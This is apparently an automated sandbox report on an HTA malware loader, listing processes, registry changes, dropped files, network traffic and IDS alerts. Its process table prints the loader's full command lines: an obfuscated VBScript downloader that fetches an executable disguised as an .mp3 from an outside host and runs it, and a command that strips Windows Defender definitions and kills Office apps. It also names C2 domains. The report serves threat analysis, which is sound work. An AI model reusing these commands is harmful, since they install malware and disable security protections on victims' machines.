| File name: | MicoSSD.hta |
| Full analysis: | https://app.any.run/tasks/5dbaf447-e68f-4c7a-8edf-e111c86d2fa2 |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | January 22, 2019, 13:26:48 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/html |
| File info: | HTML document, ASCII text, with very long lines, with CRLF line terminators |
| MD5: | F44EC6FC72169568A47270BED252AFEC |
| SHA1: | DB80EB1A7C2583F505AB02F13C69A1AD78F68E6C |
| SHA256: | 33B406BF112820CA7A94377D928A4EB99CE27D1E4518A11EB3938D1E0A9410DD |
| SSDEEP: | 48:np3dUQIwe/weqweIwe0wwesYzwejweJweObwZ2we/wepwLFwe6xweOweZweUweYI:pdUNwIwlwbw+wN4wawywVbwwwSw2wJwB |
MALICIOUS
Runs PING.EXE for delay simulation
- cmd.exe (PID: 2440)
Application was dropped or rewritten from another process
- WORD.SCR (PID: 2100)
Downloads executable files from the Internet
- WScript.exe (PID: 3752)
SUSPICIOUS
Starts CMD.EXE for commands execution
- mshta.exe (PID: 2848)
- cmd.exe (PID: 2440)
Application launched itself
- cmd.exe (PID: 2440)
Uses TASKKILL.EXE to kill Office Apps
- cmd.exe (PID: 2104)
Starts application with an unusual extension
- cmd.exe (PID: 2440)
Creates files in the user directory
- WScript.exe (PID: 3752)
Executes scripts
- cmd.exe (PID: 2440)
Executable content was dropped or overwritten
- WScript.exe (PID: 3752)
Connects to unusual port
- WORD.SCR (PID: 2100)
INFO
Reads internet explorer settings
- mshta.exe (PID: 2848)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .html | | | HyperText Markup Language (100) |
|---|
Total processes
43
Monitored processes
11
Malicious processes
2
Suspicious processes
2
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1836 | timeout 12 | C:\Windows\system32\timeout.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: timeout - pauses command processing Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2100 | WORD.scr | C:\Users\admin\AppData\Local\Temp\WORD.SCR | cmd.exe | ||||||||||||
User: admin Company: 席席是 她成族司望 Integrity Level: MEDIUM Description: 希商的是是 太席的的 Exit code: 0 Version: 5.8.7.5 Modules
| |||||||||||||||
| 2104 | "C:\Windows\System32\cmd.exe" /c cd "C:\Program Files\Windows Defender" & MpCmdRun.exe -removedefinitions -dynamicsignatures & taskkill /f /im winword.exe & taskkill /f /im excel.exe & exit | C:\Windows\System32\cmd.exe | — | mshta.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 128 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2224 | cMd /c cd C:\Users\admin\AppData\Local\Temp | C:\Windows\system32\cmd.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2440 | "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 > nul & cMd /c cd C:\Users\admin\AppData\Local\Temp &@echo T5k = "http://gvcenterhotel.com.br/AcrobatDocument.mp3">>Microsoft.vbs &@echo A5z = Y6k("YQTF0UET")>>Microsoft.vbs &@echo Set AdobE = CreateObject(Y6k("OUZON40ZONJVVR"))>>Microsoft.vbs &@echo AdobE.Open Y6k("IGV"), T5k, False>>Microsoft.vbs &@echo AdobE.send ("")>>Microsoft.vbs &@echo Set Acrobat = CreateObject(Y6k("CFQFD0UVTGCO"))>>Microsoft.vbs &@echo Acrobat.Open>>Microsoft.vbs &@echo Acrobat.Type = 1 >>Microsoft.vbs &@echo Acrobat.Write AdobE.ResponseBody>>Microsoft.vbs & @echo Acrobat.Position = 0 >>Microsoft.vbs &@echo Acrobat.SaveToFile A5z, 2 >>Microsoft.vbs &@echo Acrobat.Close>>Microsoft.vbs &@echo function Y6k(R0b) >> Microsoft.vbs &@echo For T7z = 1 To Len(R0b) >>Microsoft.vbs &@echo M1m = Mid(R0b, T7z, 1) >>Microsoft.vbs &@echo M1m = Chr(Asc(M1m)- 2) >>Microsoft.vbs &@echo Y9c = Y9c + M1m >> Microsoft.vbs &@echo Next >>Microsoft.vbs &@echo Y6k = Y9c >>Microsoft.vbs &@echo End Function >>Microsoft.vbs& Microsoft.vbs &dEl Microsoft.vbs & timeout 12 & WORD.scr | C:\Windows\System32\cmd.exe | — | mshta.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2536 | MpCmdRun.exe -removedefinitions -dynamicsignatures | C:\Program Files\Windows Defender\MpCmdRun.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Malware Protection Command Line Utility Exit code: 2 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2848 | "C:\Windows\System32\mshta.exe" "C:\Users\admin\AppData\Local\Temp\MicoSSD.hta" | C:\Windows\System32\mshta.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Exit code: 0 Version: 8.00.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3080 | ping 127.0.0.1 -n 10 | C:\Windows\system32\PING.EXE | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: TCP/IP Ping Command Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3104 | taskkill /f /im excel.exe | C:\Windows\system32\taskkill.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Terminates Processes Exit code: 128 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3176 | taskkill /f /im winword.exe | C:\Windows\system32\taskkill.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Terminates Processes Exit code: 128 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
524
Read events
498
Write events
26
Delete events
0
Modification events
| (PID) Process: | (2848) mshta.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
| (PID) Process: | (2848) mshta.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 1 | |||
| (PID) Process: | (2440) cmd.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
| (PID) Process: | (2440) cmd.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 1 | |||
| (PID) Process: | (3752) WScript.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\WScript_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (3752) WScript.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\WScript_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (3752) WScript.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\WScript_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (3752) WScript.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\WScript_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (3752) WScript.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\WScript_RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
| (PID) Process: | (3752) WScript.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\WScript_RASAPI32 |
| Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
Executable files
2
Suspicious files
0
Text files
21
Unknown types
1
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2536 | MpCmdRun.exe | C:\Users\admin\AppData\Local\Temp\MpCmdRun.log | text | |
MD5:— | SHA256:— | |||
| 2440 | cmd.exe | C:\Users\admin\AppData\Local\Temp\Microsoft.vbs | text | |
MD5:— | SHA256:— | |||
| 3752 | WScript.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RB73MZ6Y\AcrobatDocument[1].mp3 | executable | |
MD5:— | SHA256:— | |||
| 3752 | WScript.exe | C:\Users\admin\AppData\Local\Temp\WORD.SCR | executable | |
MD5:— | SHA256:— | |||
| 3752 | WScript.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\IETldCache\index.dat | dat | |
MD5:D7A950FEFD60DBAA01DF2D85FEFB3862 | SHA256:75D0B1743F61B76A35B1FEDD32378837805DE58D79FA950CB6E8164BFA72073A | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
6
DNS requests
5
Threats
4
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3752 | WScript.exe | GET | 200 | 192.185.214.91:80 | http://gvcenterhotel.com.br/AcrobatDocument.mp3 | US | executable | 415 Kb | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2100 | WORD.SCR | 152.240.225.115:5155 | systenfailued.ddns.com.br | TELEFÔNICA BRASIL S.A | BR | unknown |
3752 | WScript.exe | 192.185.214.91:80 | gvcenterhotel.com.br | CyrusOne LLC | US | malicious |
2100 | WORD.SCR | 152.240.225.115:4066 | systenfailued.ddns.com.br | TELEFÔNICA BRASIL S.A | BR | unknown |
2100 | WORD.SCR | 152.240.225.115:4984 | systenfailued.ddns.com.br | TELEFÔNICA BRASIL S.A | BR | unknown |
DNS requests
Domain | IP | Reputation |
|---|---|---|
gvcenterhotel.com.br |
| malicious |
systenfailued.ddns.com.br |
| unknown |
dns.msftncsi.com |
| shared |
internetexploter.duckdns.org |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
3752 | WScript.exe | A Network Trojan was detected | ET TROJAN EXE Download When Server Claims To Send Audio File - Must Be Win32 |
3752 | WScript.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
3752 | WScript.exe | A Network Trojan was detected | ET CURRENT_EVENTS Likely Evil EXE download from MSXMLHTTP non-exe extension M2 |
1052 | svchost.exe | Misc activity | ET INFO DYNAMIC_DNS Query to *.duckdns. Domain |